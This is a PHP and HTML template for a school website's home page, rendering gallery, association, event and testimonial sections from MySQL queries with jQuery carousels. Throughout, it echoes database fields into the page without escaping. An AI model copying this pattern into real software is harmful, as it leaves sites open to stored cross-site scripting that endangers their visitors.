$q = "SELECT * FROM gallery ORDER BY RAND()";
$query = mysqli_query($conn,$q);
$i=1;
while($res = mysqli_fetch_array($query)) { ?>
<div class="item">
<a href="admin/<?php echo $res['image'] ?>" data-fancybox="group">
<img class="gallery-image" src="admin/<?php echo $res['image'] ?>" alt="<?php echo $res['title'] ?>">
</a>
</div>
<?php } ?>
</div>
</div>
<!-- <div class="ap-carousel">
<div id="carousel_de5ff2b53b1611e9a1c50a0027000000" class="carousel slide"
data-ride="carousel" data-interval="5000">
<div class="carousel-inner" role="listbox">
<?php
$sql = "select * from gallery";
$query = mysqli_query($conn,$sql);
while($rows = $query->fetch_assoc()) {
$gallery[]=$rows;
}
$i=0;
foreach($gallery as $row){
$active = '';
if ($i==0) {
$active='active';
}
?>
<div class="item <?php echo $active; ?>">
<div class="row">
<div class="col-md-4 col-sm-12 col-lg-4 col-xs-12 carousel-in">
<div class="photo">
<img src="admin/<?php echo $row['image'] ?>"
class="img-responsive" alt="Co-curricular Activities"
title="<?php echo $row['title'] ?>" />
</div>
</div>
<div
class="carousel-caption sl12 col-md-6 col-sm-12 col-lg-6 col-xs-12 ">
<h4 style="color: #FFFFFF;"><?php echo $row['title'] ?></h4>
<a
href="https://www.navodaya.gov.in/nvs/nvs-school/BANGALOREURBAN/en/activities/Archieved-Co-Curricular-Activities/"><i
class="fa fa-picture-o fa-2x pad-right"></i>ALBUMS
</a>
</div>
</div>
</div>
<?php $i++; } ?>
</div>
<div class="carousel-arrow">
<a data-slide="prev" href="#carousel_de5ff2b53b1611e9a1c50a0027000000"
class="left carousel-control" role="button" data-slide="prev">
<span class="glyphicon glyphicon-chevron-left" aria-hidden="true"></span>
<span class="sr-only">Previous</span>
</a>
<a data-slide="next" href="#carousel_de5ff2b53b1611e9a1c50a0027000000"
class="right carousel-control" role="button" data-slide="next">
<span class="glyphicon glyphicon-chevron-right" aria-hidden="true"></span>
<span class="sr-only">Next</span>
</a>
</div>
</div>
</div> -->
</div>
</div>
</div>
</div>
<section class="container-fluid govt_section" id="govt_section">
<div class="row">
<div class="col-md-12 col-xs-12">
<div>
<div id="thover"></div>
<?php
$q = "SELECT * FROM popup limit 1";
$result = mysqli_query($conn,$q);
if(mysqli_num_rows($result)>0){
$popup = mysqli_fetch_assoc($result);
?>
<div id="tpopup">
<a href="javascript:void[0]"> <img
src="admin/<?php echo $popup['image'] ?>"
width="100%" alt="" title=""></a>
<div id="tclose">X</div>
</div>
<?php } ?>
<style>
@media only screen and (min-width: 768px) {
#tpopup img{
height: 550px;
}
}
#thover {
position: fixed;
width: 100%;
height: 100%;
opacity: .6
}
#tpopup {
position: fixed;
width: 88%;
/*height: 400px;*/
background: #fff;
left: 5% !important;
top: 10%;
border-radius: 5px;
/*padding: 12px 12px;*/
margin-left: 0;
margin-top: 10px;
text-align: center;
box-shadow: 0 0 10px 0 #000;
margin-right: 64px;
z-index: 999;
right: 5%;
overflow-y: hidden;
overflow-x: hidden;
scrollbar-width: thin;
}
#tpopup p {
font-weight: bold;
font-size: 14px;
}
#tclose {
position: absolute;
background: black;
color: white;
right: -1px;
top: 1px;
border-radius: 50%;
width: 30px;
height: 30px;
line-height: 30px;
text-align: center;
font-size: 8px;
font-weight: bold;
font-family: 'Arial Black', Arial, sans-serif;
cursor: pointer;
box-shadow: 0 0 10px 0 #000;
}
.responsive {
width: 100%;
height: auto;
}
</style>
<script>
$(document).ready(function () {
$("#thover").click(function () {
$(this).fadeOut();
$("#tpopup").fadeOut();
});
$("#tclose").click(function () {
$("#thover").fadeOut();
$("#tpopup").fadeOut();
});
});
</script>
</div>
</div>
<div class="slider_asoc">
<!-- xpert -->
<div class="headline" id="headlines">
<h2>Our Associations </h2>
</div>
<!-- Item slider-->
<script>
$(document).ready(function () {
$('#itemslider').carousel({ interval: 3000 });
$('.carousel-showmanymoveone .item').each(function () {
var itemToClone = $(this);
for (var i = 1; i < 6; i++) {
itemToClone = itemToClone.next();
if (!itemToClone.length) {
itemToClone = $(this).siblings(':first');
}
itemToClone.children(':first-child').clone()
.addClass("cloneditem-" + (i))
.appendTo($(this));
}
});
});
</script>
<style>
/*association*/
#association .item{
padding: 20px 20px;
border: 1px solid #b1afaf;
margin: 16px;
background: #fff;
}
#association .owl-nav button {
position: absolute;
top: 50%;
background-color: #000;
color: #fff;
margin: 0;
transition: all 0.3s ease-in-out;
}
#association .owl-nav button.owl-prev {
left: 0;
}
#association .owl-nav button.owl-next {
right: 0;
}
#association .owl-dots {
text-align: center;
padding-top: 15px;
}
#association .owl-dots button.owl-dot {
width: 15px;
height: 15px;
border-radius: 50%;
display: inline-block;
background: #ccc;
margin: 0 3px;
}
#association .owl-dots button.owl-dot.active {
background-color: #000;
}
#association .owl-dots button.owl-dot:focus {
outline: none;
}
#association .owl-nav button {
position: absolute;
top: 50%;
transform: translateY(-50%);
background: none repeat scroll 0 0 #222222;
border: 4px solid #FFFFFF;
border-radius: 50%;
height: 40px;
width: 40px;
}
#association span {
font-size: 29px;
position: relative;
top: -5px;
}
#association .owl-nav button:focus {
outline: none;
}
#association .owl-height,#association .owl-carousel .owl-item{
height: auto!important;
}
@media only screen and (max-width: 600px) {
#association img{
height: 290px!important;
}
.cadrs-col .common-cards{
width: 100%;
}
.read-mr-sc a{
margin-bottom: 20px;
}
}
</style>
<div class="govt_row">
<div class="owl-slider">
<div id="association" class="owl-carousel">
<?php
$q = "select * from association";
$query = mysqli_query($conn,$q);
while($res = mysqli_fetch_array($query)) { ?>
<div class="item">
<img src="admin/<?php echo $res['image'] ?>">
</div>
<?php } ?>
</div>
</div>
</div>
<script>
$(document).ready(function () {
$('#itemslider').carousel({ interval: 3000 });
$('.carousel-showmanymoveone .item').each(function () {
var itemToClone = $(this);
for (var i = 1; i < 6; i++) {
itemToClone = itemToClone.next();
if (!itemToClone.length) {
itemToClone = $(this).siblings(':first');
}
itemToClone.children(':first-child').clone()
.addClass("cloneditem-" + (i))
.appendTo($(this));
}
});
});
$(document).ready(function () {
$('#media').carousel({
pause: true,
interval: false,
});
// < !--$(".menu-button1").hide(); -->
});
</script>
</div>
</div>
</div>
</section>
<section style="background-color:#D9ECFF;">
<div class="headline" id="headlines">
<h2>Glorious Moments</h2>
</div>
<div class="carousels" data-gap="20" data-bfc>
<figure>
<img src="images/1.jpeg" alt="">
<img src="images/2.jpeg" alt="">
<img src="images/3.jpg" alt="">
</figure>
<nav>
<button class="nav prev">Prev</button>
<button class="nav next">Next</button>
</nav>
</div>
</section>
<style>
#testimonials .owl-nav button {
position: absolute;
top: 50%;
background-color: #000;
color: #fff;
margin: 0;
transition: all 0.3s ease-in-out;
}
#testimonials .owl-nav button.owl-prev {
left: 0;
}
#testimonials .owl-nav button.owl-next {
right: 0;
}
#testimonials .owl-dots {
text-align: center;
padding-top: 15px;
}
#testimonials .owl-dots button.owl-dot {
width: 15px;
height: 15px;
border-radius: 50%;
display: inline-block;
background: #ccc;
margin: 0 3px;
}
#testimonials .owl-dots button.owl-dot.active {
background-color: #000;
}
#testimonials .owl-dots button.owl-dot:focus {
outline: none;
}
#testimonials .owl-nav button {
position: absolute;
top: 50%;
transform: translateY(-50%);
background: rgba(255, 255, 255, 0.38) !important;
}
#testimonials span {
font-size: 70px;
position: relative;
top: -5px;
color: #000;
}
#testimonials .owl-nav button:focus {
outline: none;
}
.review-card {
padding: 30px 25px;
margin: 20px 10px;
text-align: center;
-webkit-box-shadow: rgb(17 17 26 / 10%) 0 0 16px;
box-shadow: rgb(17 17 26 / 10%) 0 0 16px;
border-radius: 20px;
}
.review-card .reviewer-img img {
height: 114px;
width: 114px;
border-radius: 50%;
border: 8px solid rgba(48,79,71,.1);
margin: 0 auto;
}
.review-card h3 {
margin-top: 5px!important;
font-weight: 700;
font-size: 25px;
line-height: 29px;
text-transform: capitalize;
color: #262339;
}
.review-card h5 {
font-family: work sans,sans-serif;
font-weight: 500;
font-size: 17px!important;
line-height: 23px;
text-transform: capitalize;
color: #7a7777!important;
margin: 0;
}
.review-card p{
margin-top: 10px;
position: relative;
font-size: 16px;
line-height: 27px;
color: #737679;
font-family: work sans,sans-serif;
margin-bottom: 0;
}
#testimonial_modal input{
height: 45px!important;
}
</style>
<!-- Modal -->
<div id="testimonial_modal" class="modal fade" role="dialog">
<div class="modal-dialog">
<!-- Modal content-->
<div class="modal-content">
<div class="modal-header">
<button type="button" class="close" data-dismiss="modal">×</button>
<h4 class="modal-title">Modal Header</h4>
</div>
<div class="modal-body">
<form method="post">
<div class="form-group">
<label for="image">Image</label>
<input type="file" class="form-control" name="image" accept="image/*">
</div>
<div class="form-group">
<label for="name">Name</label>
<input type="text" class="form-control" name="name" required>
</div>
<div class="form-group">
<label for="batch">Batch</label>
<input type="text" class="form-control" name="batch" required>
</div>
<div class="form-group">
<label for="status">Current Status</label>
<input type="text" class="form-control" name="current_status" required>
</div>
<div class="form-group">
<label for="review">Review</label>
<textarea rows="5" class="form-control" name="review" required></textarea>
</div>
<div class="form-group">
<button type="submit" class="btn btn-ctl-bt waves-effect waves-light m-r-10" name="submit">Submit</button>
</div>
</form>
</div>
</div>
</div>
</div>
<!--<section class="testimonial">
<div class="container-fluid">
<div class="headline" id="headlines">
<h2>What Our Students Says</h2>
<div class="row">
<div class="col-md-10"></div>
<div class="col-md-2 text-right">
<button class="btn btn-primary btn-sm" data-toggle="modal" data-target="#testimonial_modal" style="position:absolute;">Add Reviews</button>
</div>
</div>
</div>
<div class="owl-slider">
<div id="testimonials" class="owl-carousel">
<?php
// $q = "select * from testimonials";
// $query = mysqli_query($conn,$q);
// $i=1;
// while($res = mysqli_fetch_array($query)) {
?>
<div class="item">
<div class="review-card ">
<div class="reviewer-img">
<img src="admin/<?php echo $res['image'] ?>" alt="" class="img-fluid">
</div>
<div class="reviewer-info">
<h3><?php echo $res['name'] ?></h3>
<h5>Batch - <?php echo $res['batch'] ?></h5>
<h5>Current Status - <?php echo $res['current_status'] ?></h5>
<p><?php echo $res['review'] ?> </p>
</div>
</div>
</div>
<?php
// }
?>
</div>
</div>
<div class="row">
<div class="col-lg-6 d-none d-lg-block">
<ol class="carousel-indicators tabs">
<li data-target="#myCarousels" data-slide-to="0" class="active">
<figure>
<img src="images/testi1.jpeg" class="img-fluid" alt="">
</figure>
</li>
<li data-target="#myCarousels" data-slide-to="1">
<figure>
<img src="images/testi2.jpeg" class="img-fluid" alt="">
</figure>
</li>
<li data-target="#myCarousels" data-slide-to="2">
<figure>
<img src="images/3.jpeg" class="img-fluid" alt="">
</figure>
</li>
</ol>
</div>
<div class="col-lg-6 d-flex justify-content-center align-items-center">
<div class="col-lg-6 d-flex justify-content-center align-items-center">
<div id="myCarousels" class="carousel slide" data-ride="carousel">
<h3>WHAT OUR CLIENTS SAY</h3>
<h1>TESTIMONIALS</h1>
<div class="carousel-inner">
<div class="item active">
<div class="quote-wrapper">
<p>Best teachers and good learning environment world class facilties and learninf platform!</p>
<h3>Ishu Tomar</h3>
<h4>Batch-2017-18<br>
Current Status-UGC Net Qualified (2022)</h4>
</div>
</div>
<div class="item">
<div class="quote-wrapper">
<p>Got best oppurtunity for learning and good teachers who always support and pay attention towards our queries.</p>
<h3>Saurabh Panwar.</h3>
<h4>Batch-2010 - 2017<br>
Education :- BA English (H). <br>
Current status :- Preparing for UPSC</h4>
</div>
</div>
<div class="item">
<div class="quote-wrapper">
<p>Best teachers and very encouraging and learning environment always have fun in school activities.</p>
<h3>Arvind Tomar</h3>
<h4>Batch - 2012-19<br>
Current status - Pursuing B.Tech in CSE from IIT Indore</h4>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</section>-->
<section class="ftco-section">
<div class="container-fluid" style="padding:0 15px!important">
<div class="row">
<!-- <div class="heading-section text-center aos-init aos-animate"> -->
<div class="headline" id="headlines">
<h2>Our Event</h2>
<!-- </div> -->
</div>
<?php
$q = "select * from events";
$query = mysqli_query($conn,$q);
while($res = mysqli_fetch_array($query)) {
$date=date_create($res['date']);
?>
<div class="col-md-3 d-flex aos-init aos-animate" data-aos="fade-up" data-aos-duration="1000">
<div class="blog-entry align-self-stretch">
<a href="javascript:void(0)" class="block-20" style="background-image:url('admin/<?php echo $res['image'] ?>')">
</a>
<div class="text p-4 d-block">
<div class="meta mb-3">
<div><a href="#"><?php echo date_format($date,"d-m-Y"); ?></a></div>
<!-- <div><a href="#" class="meta-chat"><span class="fa-solid fa-message animated fadeIn"></span> 3</a></div> -->
</div>
<h3 class="heading mb-4"><a href="#"><?php echo $res['title'] ?></a></h3>
<!-- <p class="time-loc"><span class="mr-2 animated fadeIn"><i class="fa-solid fa-clock"></i> 10:30AM-03:30PM</span> <span class="animated fadeIn"><i class="fa-solid fa-map"></i> Venue Main Campus</span></p> -->
<p><?php echo $res['description'] ?></p>
</div>
</div>
</div>
<?php } ?>
</div>
<!-- <div class="row mt-5">
<div class="col text-center">
<div class="block-27">
<ul>
<li><a href="#"><</a></li>
<li class="active"><span>1</span></li>
<li><a href="#">2</a></li>
<li><a href="#">3</a></li>
<li><a href="#">4</a></li>
<li><a href="#">5</a></li>
<li><a href="#">></a></li>
</ul>
</div>
</div>
</div> -->
</div>
</section>
<script>
window.addEventListener('load', () => {
var
carouselss = document.querySelectorAll('.carousels')
;
for (var i = 0; i < carouselss.length; i++) {
carousels(carouselss[i]);
}
});
function carousels(root) {
var
figure = root.querySelector('figure'),
nav = root.querySelector('nav'),
images = figure.children,
n = images.length,
gap = root.dataset.gap || 0,
bfc = 'bfc' in root.dataset,
theta = 2 * Math.PI / n,
currImage = 0
;
setupcarousels(n, parseFloat(getComputedStyle(images[0]).width));
window.addEventListener('resize', () => {
setupcarousels(n, parseFloat(getComputedStyle(images[0]).width))
});
setupNavigation();
function setupcarousels(n, s) {
var
apothem = s / (2 * Math.tan(Math.PI / n))
;
figure.style.transformOrigin = `50% 50% ${- apothem}px`;
for (var i = 0; i < n; i++)
images[i].style.padding = `${gap}px`;
for (i = 1; i < n; i++) {
images[i].style.transformOrigin = `50% 50% ${- apothem}px`;
images[i].style.transform = `rotateY(${i * theta}rad)`;
}
if (bfc)
for (i = 0; i < n; i++)
images[i].style.backfaceVisibility = 'hidden';
rotatecarousels(currImage);
}
function setupNavigation() {
nav.addEventListener('click', onClick, true);
function onClick(e) {
e.stopPropagation();
var t = e.target;
if (t.tagName.toUpperCase() != 'BUTTON')
return;
if (t.classList.contains('next')) {
currImage++;
}
else {
currImage--;
}
rotatecarousels(currImage);
}
}
function rotatecarousels(imageIndex) {
figure.style.transform = `rotateY(${imageIndex * -theta}rad)`;
}
}
$(document).ready(function(){
$(".testimonial .indicators li").click(function(){
var i = $(this).index();
var targetElement = $(".testimonial .tabs li");
targetElement.eq(i).addClass('active');
targetElement.not(targetElement[i]).removeClass('active');
});
$(".testimonial .tabs li").click(function(){
var targetElement = $(".testimonial .tabs li");
targetElement.addClass('active');
targetElement.not($(this)).removeClass('active');
});
});
$(document).ready(function(){
$(".slider .swiper-pagination span").each(function(i){
$(this).text(i+1).prepend("0");
});
});
</script>
<script>
$('[data-fancybox]').fancybox({
// Options will go here
buttons : [
'close'
],
wheel : false,
transitionEffect: "slide",
// thumbs : false,
// hash : false,
loop : true,
// keyboard : true,
toolbar : false,
// animationEffect : false,
// arrows : true,
clickContent : false
});
</script>
<?php include('include/footer.php'); ?>